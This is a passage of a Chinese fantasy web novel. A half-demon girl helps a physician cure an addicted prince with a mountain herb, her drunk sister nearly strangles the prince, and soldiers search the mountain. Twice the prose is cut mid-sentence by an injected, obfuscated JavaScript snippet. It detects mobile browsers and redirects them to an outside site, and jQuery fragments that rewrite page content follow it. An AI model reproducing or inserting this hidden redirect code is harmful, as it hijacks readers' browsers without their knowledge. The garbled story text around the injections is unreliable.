长山目睹阿远寻死,不为所动,转身就往屋外走,青崖拉住他,正待开口劝说,就听到背后一声怒喝:“你知道什么!!!” 裴浩眼眶发红地低吼:“长山先生,你们那伙流民在绑架他折磨他之前,除了知道他是皇子,是陵王,还知道什么?!你们认识他么?知道他的处境么?了解他做过什么和没做过什么吗? 长山没有回头,只是在门口停住了脚步。 “我从小跟在他身边,我了解他!他不仅对我有救命之恩,对周围的人,无论身份高低,都友好善良!每次一有机会议政,他提出的见解都是仁爱护民,改善律法,可无论直言还是婉劝,换来的永远都是陛下的斥责与他人的嘲笑!对当前不合理的现状,他一直想做什么又无能为力,每日愁闷忧郁,寝食难安,在生病接受治疗时,被人设计陷害才误食忘忧散,待到发现已产生依赖再难摆脱。你才认识他多久?怎能凭自己的想象妄断他的为人,放弃他的生命,说他不值得救?!” 说到后来,裴浩字字泣血。 青崖游离于俗世之外,对朝廷政局更不关心,不知道皇室生活是怎样的,这番话听了个一知半解,但裴浩语气一字一句感染力十足,对陵王的真挚忠诚溢于言表,听得她眼眶湿热。 她以辨言天赋确认裴浩所言句句属实,听起来,阿远以前的处境似常在水深火热之中。生在姐姐所说“吃人不吐骨头”的皇家,阿远却有一颗仁善之心。 姐姐还曾说,皇亲国戚总自认为他们高人一等,从不在乎别人的性命,可物以类聚人以群分,阿远能有裴浩这样忠诚的护卫,自己平日为人处世如何,也可见一斑。 青崖拿出对央求姐姐时惯用的计俩,拉着长山的袖子摇晃:“你再想想办法,救救他吧。” 长山没有辨谎的天赋,且由于父母遇害之事,习惯多疑。在他看来,裴浩是陵王侍卫,朝廷鹰犬,无论说什么都不足为信。 他回头正视青崖,是寻求解惑的眼神:“青崖姑娘,萍水相逢,你就不怕救错了人?” 青崖毫不犹豫地答:“长山先生,道听途说,你就不怕怪错了人?” 长山凝望着她的清澈眼眸,沉思良久,最终把目光移向阿远,道:“好吧,我再给他更换药方试试。” 青崖立刻将之前和长山关于“豺狼虎豹”的争执置之脑后,开怀道:“好呀,有什么我能帮忙的尽管说!” 裴浩更是长拜不起,“求先生救他!” 这一次配药,长山失去了之前的果断与熟练,他在一堆药材中挑挑拣拣,反复把同一种药材拿起又放下,放下又拿起,不能确定用量,一直摇头叹气。 青崖问:“那个忘忧散对人影响很大吗?” 长山道:“是,影响巨大,长期服食会彻底改变人的体质,对寻常人管用的药量,必须成倍使用才能对忘忧散服用者有效。而忘忧散,能减轻药物的正面作用,却不能减轻药物的负面作用,药物加量虽能暂时治病,却也长久伤身。若按我的分类,忘忧散,当是一种毒药。” 青崖思索:“毒药……但是让人飘飘欲仙,欲罢不能,像酒一样?” 长山道:“喝酒的确也伤身,但忘忧散伤身程度比酒严重百倍千倍。” “既是毒药,那不能先解毒吗?” 听闻此话,长山若有所悟,猛然抬头,激动道:“对了,我总是忘记你说这里的仙草灵药可以随意使用,我想一想……忘忧散之毒,确有解法。我需要八角莲、红玉簪、苏子根……” 青崖面露迷茫:“这些名字我一个也没听说过……” “哦,许多仙草灵药都还没有正式的广为人知的名字,这些都是我自己命名的,一会儿画给你看便是。”长山专注于思考,近乎自言自语地继续念叨:“还需要震雷皮、星宿砂、尊胜参……我得写下来。” 厨房没有笔,他直接拎起一节木炭条,扯来一张包过药的纸,就在台面上众多药材中间挤出一块空地,提炭开写。 青崖凑近去看,但见笔画连接成线,穿插不明意义的符号,显得高深莫测。 她惊叹:“哇,这是什么密文吗?” 写药方还用密文,长山果然疑心甚大,估计是不愿让自己的药方被他人窃取。 谁知长山道:“不是密文,是东莱国文字。”见青崖露出不可思议的眼神,他解释:“哦,我写得潦草了一点。” “……” 青崖缩回脑袋,放弃辨认。这些很难称之为字的线条恐怕除了写字者本人,谁也读不懂。 写完大半张纸,长山放下炭条,细细端详那张只有他自己才能看懂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13175882|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药方,喃喃道:“其他的倒还好说,就是没有,也可以用别的药材替代尝试,但是这个……” 他专心沉思半晌,方才想起旁边还有一个活人,问道:“青崖姑娘,你可在附近见过这样一种仙草植物。”说着在另一张纸上用木炭勾画。 等他画出一个完整的钟形花朵,青崖立刻道:“有有有!此处有个玉皇山,是这片地区最高的山,我曾在山顶看日出时见过这种仙草植物。” 长山道:“这种花正是开在高山之上,极为难得。” 青崖道:“那也没什么难得,我去采摘,一个日夜就能回来。” 长山摇头:“难得在于我要用它的花粉入药,这种花只在日出时刻开放片刻即凋谢,凋谢后花的花粉就失去功效。也就是说,我须在那花正盛放之时,取其花粉快速调制成药,病人也需在药成之后立即服下,从采集花粉到成药服下,前后时差最多一到两刻,且至少需要连续服此药七天才能初见成效,这还只能暂时抑制忘忧散对人的影响,要想彻底解毒,让他完全摆脱对忘忧散的依赖,那还需更长年累月地耐心调理。唉——忘忧散,实在害人不浅。” 青崖问:“如果不解毒会怎样?” “如果不解毒,要医治他当下的伤病就需加大药量,难免引发其他病症,很难说是吃药更好,还是不吃药更好。就算他这次万幸得以恢复,如果继续食用忘忧散,也如同长期服毒,以他目前身体状况,活不过三年。若不解毒而强行停止服用忘忧散,就会像他现在这样,头痛欲裂,像有千万只虫蚁在脑中啃咬。” 青崖听完简直头皮发麻,无法想象千万只虫蚁啃咬是怎样一种感觉,怪不得阿远痛苦得要死要活,那个给阿远下毒的人当真心思歹毒。 当务之急是给阿远解毒。从玉皇山到自己家,就是飞鸟也需飞行半个时辰,超过了长山所说的制药时间。 想来想去只有一个办法。 她宣布:“那我们就带阿远登山采药去!” *** 夕阳西下。 青崖拎着水壶来到木屋二楼红鸾睡觉的卧房,在门口听动静猜到红鸾已醒,招呼一声,推门进屋。 落日余晖透窗而入,红鸾优美的侧面剪影映入眼帘。 红鸾对镜自照,摸着眼角道:“你下午在做什么,吵吵闹闹,我都没睡好,今晚可得好好休息,平时哪这么劳累过,天不亮就起床,午睡也不得安生,皱纹都要长出来了。今后让那三个人自食其力,不许再劳烦你我任何事。你今日都没有修炼,明日记得补上。” 青崖满倒一杯水递给红鸾,靠着红鸾坐下,双手缠住红鸾的胳膊,整个人亲昵地贴在红鸾身上,拉长声调呼唤:“姐——姐——” 红鸾喝了半口水,警觉地撂下杯子,“你又有什么‘好事’要告诉我?” 青崖惦记着之前唤醒神志不清的阿远时,曾有一瞬间阿远像被她控制了一样,原本极度排斥喝药,突然变得愿意喝药,她因此怀疑自己无师自通了什么催眠类术法,模仿之前劝说阿远的样子,深吸一口气,直直看入红鸾眼底:“姐姐,红鸾,今晚跟我去爬玉皇山。” 红鸾漠然回应:“你发什么疯病要半夜爬荒山?” “……” 13. 采三秀兮于山间2 青崖气馁地垂头。 果然没有什么催眠术法,唤醒和劝服阿远只是一个平凡的巧合。 青崖把发现新技能的错觉丢到一边,语气恢复正常,道:“咱们晚上出发去玉皇山,明天在山顶看日出吧。” 红鸾一甩手挣脱她的攀附,“今晚爬山?为什么要爬山?还是在晚上爬山?” 青崖道:“阿远身中剧毒,需要的仙草解药长在高山上。” “叫他的侍卫去采药。” “可是他需要的解药植物只有日出时盛开,盛开后需在一两刻内调制成药立即服下才能有效。” “那让他们背着阿远去爬山——最好别再回来,我们不去。” “姐姐你可以不去,我得去给他们带路。你放心,不会有事的,我保证注意安全,万一有危险,我会扔下他们就跑。”后面这话当然是为了安慰姐姐的。 “我不去?”红鸾气得发笑,“我不去难道让你自己去和几个认识没两天的男人半夜三更爬荒山?” 青崖自己觉得一起半夜爬山没什么,反正她身手好,普通人奈何不了她,再说长山、裴浩、阿远都不是歹人,实在没什么可担忧的。 但听红鸾语气就知,红鸾绝不会允许她半夜与三个外来男子单独外出。 “姐姐,”青崖像一根藤蔓再次紧紧缠住红鸾臂弯,“那你救人救到底嘛,他们对这附近不熟悉,只有我清楚哪里可以找到需要的仙草植物,你可以化形后藏在我衣袋里,我带着你,绝对不让你爬山受累。” 红鸾思索再三,勉为其难地妥协,“好吧,我就再跟你折腾一回。你确定爬一次山就能帮他解毒?是不是解完毒他们就能离开了?” “不是,”青崖比出七根手指,“得把山顶那药连续吃七天才能见效。” 至于七天后阿远能不能离开,还得等七天后再说。 红鸾震怒:“这是长山开出的药方?” “是他开的,他医术高超,肯定没错的。” “你把长山给我叫来。” 青崖支楞起脑袋,“你找他做什么?” 红鸾拍桌:“让他给我诊脉,给我开药!我感觉胸闷气短,快要死了,被你气死的!” *** 几人商议后,一致认为当晚立即登山未免过于仓促,不如次日再去。 最终商定的计划是带足两天口粮,先一起登上玉皇山,确定山上有药可用,就把长山、阿远、裴浩留在玉皇山靠近山顶的地方暂住几日,青崖负责每隔一日上山去给他们送一次饭。 次日,青崖依旧没有时间修炼,她与长山分头在附近搜寻解毒药方上需要的其他仙草药材,忙了一天。 长山给阿远调配了一剂用量安全的退烧止疼药,暂且压制住伤情。阿远的头痛仍然一阵一阵频繁发作,状态好时能勉强吃下一点青菜稀粥。 晚上,青崖带着三人趁月色出发,长山左右不见红鸾,意外道:“令姐居然同意你单独与我们登山?” 青崖也意外道:“你倒是了解我姐姐,她确实不同意,但她也不愿与人同行登山,所以会在后面跟着我们的。” 说着她朝身边树上眨了眨眼,那里有一只红鸟,眼帘半睁,停在树枝上,正是红鸾,将以只有她能认出的状态伴行于附近。 上山路上,长山说什么也不肯让青崖背负重物,所有的口粮与药材他都自己背在一个行囊里。青崖只背了几件到山上后需要的御寒衣物。 阿远被戴帽子的披风裹了个严实,趴在裴浩背上几乎看不到脸。他本就不重,裴浩又从小习武,背着他攀爬到半山腰也没提出需要歇一歇。长山看似是个文人,负重登山,竟丝毫不吃力,他解释:“因为我从小就经常上山采药。” 青崖在最前方带路,尽可能选择平坦易行的山路。长山拎着灯笼帮裴浩照明,青崖夜视能力极好,本不需要灯笼,不过还是拎了一盏。灯笼中的烛火是红鸾点燃的,小小一点,在暗夜之中不仅风吹不灭,且像火炉一样散发出融融暖意。 四周一片寂静,偶有飞鸟拍打翅膀的声音,时近时远,时前时后。正如每个人的脚步声不同,每只鸟拍打翅膀的声音也有所不同,青崖凭借声音就可以知道姐姐在哪里。 一切都很顺利,他们在日出前抵达山顶找到了解毒需要的仙草植物。日出花朵盛放之时,青崖与裴浩一起采集花粉交给长山,长山以令人眼花缭乱的速度将花粉与其他提前备好的药材一起制作成药,给阿远喝下,阿远的头痛之症果然立即有所减轻。 裴浩再次向长山致谢,长山冷冷淡淡道:“不必谢我,要谢就谢青崖姑娘,若不是她我也不会帮你们。” 青崖检查了一遍四周,确定人迹全无,就让三人在玉皇山一避风石洞里暂作停留。石洞足有一间卧房那么大,不远处还有一小水潭。她与红鸾下山回家去,隔一日后,备了干粮、烤鸡、果子和长山药方里需要的药草送上山去。 如此上山下山来回两次,诸事平安。红鸾也放松警惕,在陪青崖第二次下山后,回家搬出酒坛喝起了酒。 除了爱刺绣制衣,红鸾第二爱的便是喝酒。 在她院中的地下有一个酒窖,里面常年存放至少十几坛美酒。凡人的酒食、丹药对妖没有任何特殊效果,因此红鸾的酒不是普通的酒,而是她自己用仙草植物果实酿造的酒,有的酸甜,有的辛辣,有的苦涩,其中忘尘酒的味道是先甜而后苦,也是红鸾最爱的酒。普通人饮下此酒会大梦一场忘记许多事,妖却不会。 三个外人不在,青崖本可以回自己的木屋睡觉,但见姐姐搬出酒坛,她只好留下。她不爱喝酒,姐姐也从不需要她陪喝,只是姐姐喝酒后常常睡不安稳,伴随严重梦魇,这种时候,她绝不会留姐姐独自一人过夜。 也许因阿远是皇子,阿远的父亲就是皇帝,是下令让天下共同捉妖的人。青崖不止一次发现,姐姐在见到阿远时,会变得身体僵硬、气息不稳,在饱含敌意的状态里,还夹杂着一层紧张。 所以让姐姐喝酒放松一下也好。 青崖习以为常地睡觉、起床、修炼、采药。直到第二日需要红鸾用点灵术召出槐树精做饭时,发现红鸾竟召不出,就多少有些意外了。 红鸾平日话少,喝醉酒后话也少,醉得不严重时甚至还能正常地刺绣,针脚一丝不乱,所以不好看出她是醉是醒,除非她酩酊大醉不省人事。 可她已有好几年都没有再喝到酩酊大醉过,青崖望着姐姐晃晃悠悠站立不稳的样子,感到有些反常。 “姐姐,我早晨出去采药的时候,你不是睡下了吗?难道醒来又继续喝酒了?”她依次晃动桌上两个酒坛,果然空空如也。 也就是说,红鸾不仅喝得酩酊大醉,而且连续喝酒两日,这种喝法仅在她八岁之前曾经见过。那时别说两日,红鸾连醉一个月也是常有的。不过,在她八岁时,父亲去世把她托付给红鸾照顾之后,红鸾就再也没有喝到大醉过,顶多偶尔小酌。 怎么这次突然破例? 红鸾醉眼惺忪地倚靠在门框上,催动灵力从指尖弹出,但怎么也瞄不准几步开外的大槐树。青崖是半妖,还没修炼出灵丹,用不出点灵术,无奈扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13187365|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着红鸾走到槐树下,让红鸾直接把手指点在槐树树干上,槐树才终于化作一个人形,进屋做饭去。 饭做好,青崖拎着食盒准备离开,红鸾醉醺醺地跟随其后。 “姐姐,你都醉成这样了,就不用跟着我了,我自己去就好。” 红鸾双眼迷蒙地摇头,紧紧揽着她的肩膀。 青崖无奈扶住她道:“好吧,那你变成鸟,不要自己飞,睡在我包袱里。” 红鸾闭着眼晕乎乎点头,双臂平伸展开,红色广袖瞬间化作一对羽翼,而身体还是人形。 青崖扶额:“姐姐,变得不对……” 红鸾左右看看,也发现不对,翅膀垂下,变回人的手臂,再展开,又变成翅膀,如此重复几次,才成功化作一只红色小鸟落在青崖手心里。 青崖小心地用一方手帕垫在红鸟身下,将红鸟放在包袱最上层,出发去玉皇山。她背上背着沉重包袱,手上拎着一个不小的食盒,仍然健步如飞,脚程极快,不过半日就抵达玉皇山顶附近的石洞。 为了避免姐姐在外人面前突然从鸟变成人吓到那三人,到石洞之前,青崖找到一棵松针浓密的松树,用手帕结成一个结实而舒服的布兜挂在隐蔽的树枝上,将睡着的姐姐安置在内。 她用另一条手帕盖在红鸟身上,拍拍她道:“姐姐,你先在这里睡一会儿,我把东西给他们送到就来接你回家。” 这是一个温暖的午后,阳光毫不吝啬地洒在山峰上。阿远正在石洞内睡觉,裴浩在洞口处练剑,见到青崖,远远地抱拳打招呼。长山正在水潭边,不知在专注地做着什么,只能看到一个背影。 青崖没有出声,放下食盒与包袱,悄悄走近长山背后。只见长山静坐在地,手指搭在一根藤蔓状仙草的粗藤上,闭目凝神,仿佛仔细地聆听或感受着什么,像极了号脉。 青崖新奇道:“你是在给植物号脉吗?” 她声音本已很轻,长山还是没有睁开眼睛地竖起一根手指示意她噤声,那只手里还握着一根毛笔。 不消说,他一定又是在研究一种新发现的灵药。长山大多时候都谦和有礼,唯有研究药物药方的时候,会专注到进入忘我境界,也忘记礼节。 青崖在旁边安静坐下,好奇观看长山给仙草“号脉”。一滴墨汁在他悬空的笔尖缓缓凝聚,若是置之不理,那滴墨汁必定要滴在他衣服上,青崖随手捡起一片不到巴掌大的落叶夹在两指间,看好时机手腕一甩,叶子旋转飞出,恰好接住滴落在半空的墨汁,飘落在旁边的地面上。 少顷,长山终于睁开眼睛,提笔在随身携带的册子上快速书写,又是那种除了他自己以外,别人无论如何也没法辨认出的潦草线条与符号。 “也可以说是号脉,”他边写边解释,“我能感觉到这些新生的仙草灵药每一种都有不同的……嗯——” 他心不在焉,话说一半就忘了继续,等终于奋笔疾书记完要记的东西,才抬起头,用心思索该怎么解释:“如同水,无色但是有形;或者更像风,既无色也无形,人看不到,但能感觉得到,还可以区分风的强弱、方向、冷暖、干燥湿润等特点,我也能从这些仙草植物身上感觉到一种无色无形的东西,这种东西在不同仙草植物上表现出不同特点,结合我对人灵脉的诊断,就可以斟酌用药。” 青崖第一次听说这种说法,颇有兴趣地学着长山方才的样子用手指搭在仙草藤蔓上,但与以往接触的所有仙草都一样,只能感觉到一股隐隐约约的灵气而已。 她心头一震,长山描述的感觉难道不正是与妖对灵气的感觉? 14. 采三秀兮于山间3 妖天生有不同灵根,红鸾是火系灵根,因此能分辨不同火焰灵的特性,进而控制火焰,对其他物质中的灵则只有笼统的感知;青崖自己……说来沮丧,也不知是不是半妖的缘故,至今为止,她对金木水火土中所有物质的灵都只有笼统感知,更别提拥有哪方面的控制力了。 像长山这样能分辨植物灵不同特性的,若是个妖,毫无疑问是木系灵根的妖,只不过未经修炼,仅能感受到灵气较强的仙草植物中的灵,感受不到普通植物中的灵。 可长山分明是个人,他诉说身世时,没有一句假话。 “人人都有这种感觉吗?”青崖故意装糊涂。 长山黯然摇头:“到目前为止,我问过很多人,似乎只有我有这种感觉。一开始我还以为是错觉,但试着根据灵脉用仙草类植物给人治过几次病,发现药效奇好,我才确信这是真的。仙草类植物身上那种无形的东西到底是什么,我现在也不确定。” 是灵气! 这三个字几欲脱口而出,被青崖强行咽了回去。 “对了,每个人的灵脉脉象也不同,号脉方法我还没能熟练掌握,总希望能多探探不同人的灵脉,”长山看向她,“我可以探探你的灵脉吗?” 青崖身体后倾,捂住额头,果断道:“不可以。” 一般妖之间互探眉心只能试探出灵力深浅,长山却还能靠探眉心给人治病,万一他也能根据眉心灵脉分辨出她是妖怎么办? “我从小就不喜欢让大夫看病。”青崖补充解释。 长山随和地接受了这个说法,歉然道:“可以理解,是我唐突了。但若姑娘有什么不适需要医治时,最好不要因此排斥大夫把脉,免得耽误病情。” 石洞中传出窸窸窣窣细微声响,也许是阿远醒来了。 青崖忽略洞里的动静,问:“那你会在其他东西或人身上感到那种特别的无形之物吗?” 比如妖类之间一靠近就能觉察到彼此身上的灵气萦绕,哪怕灵力低微觉察不到同类身上的灵气,至少也应当能觉察到附近灵流中的灵气。 石洞中传来粗重的呼吸声,似乎是阿远呼吸不畅,不知是否又在头疼。 “在别处感觉不到,”长山低头继续写字,“在人身上也是,除非诊眉心灵脉,否则感觉不到像仙草中蕴含那种特别的无形之物。” 青崖心中一沉。 长山说谎。 她对语言与情绪的感应如同红鸾对火灵的感应一样精准,虽然不知依据是什么,但区分真假话从未出错,这是认识长山以来,长山第一次说谎。 石洞中不断有杂乱的微小声音传出,青崖无暇理会。 长山是能感觉到附近的灵流,还是能感觉到她和红鸾身上的灵?或许早已知道她和红鸾并非凡人? 如果知道,那么长山初见她时明显诧异,再见红鸾那样一个深山老林中的绝世美人却平静无波的态度就完全说得通了。 “救……啊……”石洞里传出阿远的虚弱气声,伴随一颗石子落地弹跳之声。 阿远求救! 这次青崖没法再忽视洞里从方才开始就不断传出的奇怪动静,不得不中断与长山的对话,一跃而起冲向石洞,裴浩也察觉有异,两人几乎同时奔至石洞之内,大惊失色地看到红鸾压在阿远身上,双手狠狠掐着阿远的脖子。 红鸾的红裙将阿远大半个身子都遮住了,相比之下显得阿远更加消瘦,而红鸾则无比狰狞。阿远躺倒在地,被掐得脸色发青,手脚如溺水般胡乱扑腾。 “姐姐!” “殿下!” 青崖与裴浩一齐冲入洞里,一个抓住红鸾一个拖走阿远,总算在阿远气绝之前及时将他们分开。 阿远脱困,惊魂未定地大口大口喘着粗气,脖子上一圈红痕醒目。 红鸾如同瞪着世仇一般瞪着他,口中喃喃:“杀了你……杀了你……” 裴浩把阿远护在身后,举剑直指红鸾,厉声质问:“你要做什么?!”但见红鸾眼神迷蒙,身形不稳,与平日状态全然不同,也察觉到红鸾不对劲,转问青崖:“青崖姑娘,令姐这是何意?” “抱歉,我姐姐不是故意的,她喝醉了有些神志不清,不知道自己在做什么。”青崖用发抖的手拉着红鸾,又惊又怕。 红鸾以前也曾在外人面前喝醉过,但从来没有酒后伤人的行为,更不可能酒后杀人,想来是她低估了红鸾对皇室的恨意。 可无论多么仇恨,妖都不能杀人。 人在死亡瞬间产生的煞气,会对妖的灵根造成致命损伤,无论年轻小妖还是百年大妖都难以抵挡。方才那一幕,不仅阿远命悬一线,红鸾自己也命悬一线,要不是及时发现并阻止,一人一妖必定双双殒命。 青崖吓得手脚发软,趁裴浩检查阿远时,半拖半抱带着红鸾离开现场。长山追着她们关切询问:“令姐怎么了,需要我帮忙看看吗?” “不用,”青崖不假思索地回绝,“姐姐只是醉酒后会偶尔失去理智,等酒醒,自然恢复正常,我先背她下山,隔天再来看望你们。” 长山有什么特殊能力,知道些什么,现在都没空追究了。这种时候更不能让他给红鸾诊眉心灵脉,谁知道他会诊出什么结果? 必须远离他们,带姐姐回家。 *** 红鸾果然又梦魇了。 她躺在床上,周身灵力波动不安,弄得满屋烛火时明时灭,还点着了一些她珍爱的衣物、布料。青崖用自己的额头贴着姐姐发烫的额头,反复以灵识沟通安抚许久,才让姐姐恢复平静。 以前父亲在时,是父亲安抚红鸾,后来发现由她安抚更有奇效。十几年来,红鸾经历上百次梦魇,都是她这样寸步不离地安抚陪伴。 多次目睹姐姐梦魇,青崖很是费解,为什么明知酒后会梦魇,姐姐还总是喝酒?是不是也像阿远一样,中了某种毒? 这次险些因酒闯下大祸,能不能趁此机会劝服红鸾姐姐以后不再喝酒? 她守着红鸾,一夜未眠,把所有酒坛酒器都丢到了地窖里。 第二日,红鸾酒醒,关于酒后做的事什么也不记得了。 “我掐着阿远不放?”她语气恢复如常,轻飘飘地问。 “是,你差点掐死阿远,我都不知怎么跟裴浩解释。” 红鸾愣了一下,施施然坐到镜前拿起梳子梳头。 “差点掐死,那就是没有掐死,他们几个人的命都是你救的,让我掐一掐脖 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母亲生下她不久就去世了,父亲因过于思念母亲,在她八岁时郁郁而终。如果她再失去姐姐,将没有任何陪伴,在空无一人的山谷中孤零零生活。她越想越怕,哽咽道:“你酒后糊涂也从没伤过我,可见不是完全不认人,还是因为讨厌皇子。你这么讨厌那个小皇子,讨厌人,那就让他们走,我不留他们了。明天送饭就告诉他们,让他们走。” 红鸾意外道:“你舍得这么快就让他们走?” 青崖道:“我舍不得他们,可我更舍不得你。” 红鸾愧色更浓,把青崖拉进怀里轻拍后背。 青崖在红鸾肩上趴了好一阵才觉得恐惧有所消散,开口道:“对了,还有一件事要告诉你,关于长山的。” 她把长山能感受到仙草植物中的灵还有长山说谎的事讲了一遍,最后问道:“他这种表现是能感知植物灵吧?为什么他会有这样的能力?” 红鸾思索着道:“我曾听过一些传闻,传说凡人中也有天生拥有灵根者,他们会在某方面能力特别突出,但也仅此而已,他们天生杂念过多,没法修炼,不能像妖一样吸收灵气或运转灵力。” “那他是不是也可以感觉到我们身上的灵?” “的确有这种可能。” “他为什么撒谎说感觉不到?” “东莱国人传言妖都是杀人吃人的怪物,说不定他怕我们这种怪物一失去伪装就杀人灭口,避免身份暴露,所以他就假装不知道,以保自身平安。” 这个猜测合情合理。如果能再仔细问问就好了,就算他说谎,用自己的辨言天赋,从谎话中也可以推测出一些真相。 青崖道:“他现在不知道我们已经知道他知道我们的身份了。” 红鸾感觉有点头晕,“所以呢?” “所以如果彼此试探或套话,是我们占有优势呀。”青崖开心了一下,转瞬恢复失落,“哎,还试探什么,反正就要跟他们说再见了。” 长山也好,阿远裴浩也好,没有机会再深入互相了解,更没有机会彼此坦诚,成为朋友。和所有曾经路过、短暂停留的人一样,他们终将离开,与自己再无交集。 15. 采三秀兮于山间4 青崖第无数次想:“如果我和姐姐真的只是隐居山林的普通女子就好了,或者,如果人不捉妖,两族和平相处,那该多好。” 红鸾完全没有她这种想法,反而道:“无关紧要的人,走就走吧。你最近几日可有修炼?天天忙着照顾他们,自己的时间都没了。对妖来说,修炼就像人吃饭一样重要。你到现在都还没修出内丹,千万不可懈怠。” 一提到修炼,青崖心虚地忘记要趁机劝姐姐以后少喝酒。她这几日,不是在送饭的路上,就是在采药的路上,哪有功夫修炼。 红鸾提醒:“你小心多日不修炼会显出妖形,到时候就说不准是我掐人脖子更吓人,还是你的妖形在外人面前暴露更吓人。” 青崖想象了一下长山、阿远、裴浩三人看到她的妖形后惊恐抱团的模样,讪讪道:“我这就去修炼。” 妖的修炼,就是调用自己的灵力去吸引外界灵气在周身停留,将外界灵气融入体内灵根。 对于聚灵而生的纯妖,这件事像人吃饭一样简单,轻轻松松就能做到,行走睡觉皆在吸收灵气,对于青崖这种半妖来说,难度就要高一个等级。她必须得打坐凝神,到达入定境界,方能聚集灵气融入灵根。 地处灵流附近,随处都有充裕灵气,青崖习惯于在自己房子里修炼。 她坐在书房蒲团上,闭眼,专注于呼吸吐纳。 呼——吸—— 本应清空念头,念头却一个接一个在思绪里浮现。 ——人有灵根也无法修炼,是不是也是这个原因:难以把灵气融入灵根。自己作为半妖就比纯妖完成得困难,人恐怕就更困难。 ——如果人也能修炼就好了,就不用惦记靠吃妖丹获取长生不老。他们自己修炼后就会知道,会相信,即使能够靠修炼吸收灵气,拥有灵力,也无法长生不老。妖的寿命不过三百年,人如果能修炼到与妖体质相似,那么大约也能延长寿命到三百年。 不对……专注修炼,聚集灵气。 ——人吃妖丹就能长生不老这个说法究竟是因何而起?这个说法最初来自于一本《天书》,那个写《天书》的人吃过妖丹吗?验证过真假吗?还是说仅仅编造了这么一条虚无缥缈的谣言就能让人与妖关系如此对立? 别乱想,认真修炼,不能露出妖型让外人知道我是妖…… ——如果长山他们当真看到我的妖形,知道我是妖,不管我对他们多好,他们都不会把我当作朋友吗?会想捕捉我献给皇帝邀功吗?但他们看起来不像是会恩将仇报的人。 ——长山会不会把他感知到的不寻常之处告诉阿远裴浩他们? ——之前还有可能成为朋友,哪怕是短暂的朋友,现在就不太可能了吧,姐姐差点掐死阿远,他们一定会感到怪异,提高警惕。 ——姐姐以前喝醉酒是借酒消愁,想忘掉隐居之前在外面的伤心往事,这十几年渐渐有所好转,几乎没有反复,怎么这次突然又喝醉酒,还险些杀人,就因为阿远是皇室子弟吗? …… 青崖无奈睁开双眼:不行!杂念过多,完全不能凝神,须得借助其他手段。 她从长山的草药堆里挑选出一株有花有叶较为完整的植物,回到案几前,铺开纸笔,认认真真描摹勾勒植物的花叶形态。 先在不同地方单独画出花蕊,花瓣,叶子,根茎,把每一个组成植物的元素都拆解画过一遍,最后在一片大的空白上,画出完整植物。 如此画满一张纸,换第二张纸再画,就不用再看植物做参考,心中有形,直接在纸上落笔,这次的画和之前不同,笔尖在纸上拖行出一条连绵不断的曲线,线如游龙上下游走,形成一个近看不成型,远看才像植物的图案,这图案不似上一张画那样一笔一画花叶细致,但仍拥有其花叶神韵,且从头至尾一笔画成。 从作画开始,杂念一个个远去,第二幅一笔成型的画收笔时,青崖成功进入入定状态,心神合一,双手结印闭目打坐,源源不断吸收外界灵气融入自身灵根。 *** 玉皇山。 这次青崖没让姐姐跟随,独自上山。路上,她酝酿思索该如何告诉那三个人,她和姐姐不方便再收留他们。 也许不用她说,他们自己就会提出要走。阿远已连续服药七日,很少再头痛,手上的伤肉眼可见地在愈合,只是脚上带着夹板不便走路,他的左脚扭伤还须静养一段时日才能完全恢复。 至于长山,他的家三年前就没了,如今往日的山寨伙伴又都被当作土匪剿灭,今后他会去哪里? 青崖边走边想,距离山顶石洞还有一段距离,突然听到前方有人的对话声,收回纷乱思绪仔细辨别,那声音不是长山阿远裴浩中的任何一个。 循声走近,渐渐听出那不是一个人,而是一队人,远远一看,十几个背影,都是穿着官兵制服的人。 玉皇山在她住处附近的结界之外,平常登山的人不多,也绝非没有,日久天长,在山石杂草堆里踩出了一条若有若无的山路,那队官兵模样的人正是走在那条山路上。 长山他们藏身的石洞,就在这条路尽头能看到的位置。 “这哪算是一条路,”那队伍中的一人大声抱怨,“半个人影也没有,我们不能就从这儿回去吗?谁会藏在这么高的鸟不拉屎的地方,又没吃又没喝,还呼呼刮风,怎么活?” 另一个人道:“不行,我们的任务是搜山,怎么说也要到山顶看一看,才能回去交差。” “什么破活儿,你看平王他们的人,在村里贴贴画像、布告就算完事儿,搜到大户人家还能蹭顿酒菜,哪像咱们这么苦命。” “嗬,少说两句保留体力吧。” 青崖跟在他们身后听了一阵,不是面对面看着对方,她就没法辨谎。不过他们语气随意,此情此景,也没必要对谁做戏,应当说的是真话。听起来,他们还没有发现长山他们的踪迹,青崖于是绕开这队人疾奔石洞而去。 裴浩见她到来,又是欢迎,又是警觉,一个抱拳行礼的姿势做得不尴不尬。长山一眼发现她神态焦急,主动问道:“怎么,发生什么事了么?” “有人搜山,快把这些收起来。”青崖急匆匆丢下包袱与食盒,“人不多,十几个,我去把他们引开,你们快收拾东西藏得更隐蔽一点。把他们引开后我再回来找你们。” 匆匆交代完,就听见那队人顺着山路攀登上来的声音。青崖迅速折返回到山路边,坐下装作登山累了,正在休息的样子。 几乎在她坐下瞬间,那伙人就从山坡下冒出头,看到了她。 “嗯?这里有人。”穿着官兵服的队伍停下,带头那人健壮魁梧,头发多,眉毛粗,胡子黑,右手虎口有一道刀疤,粗声粗气问道:“喂,小姑娘,就你一个人在山上吗?” 青崖装作十分懵懂毫无防备 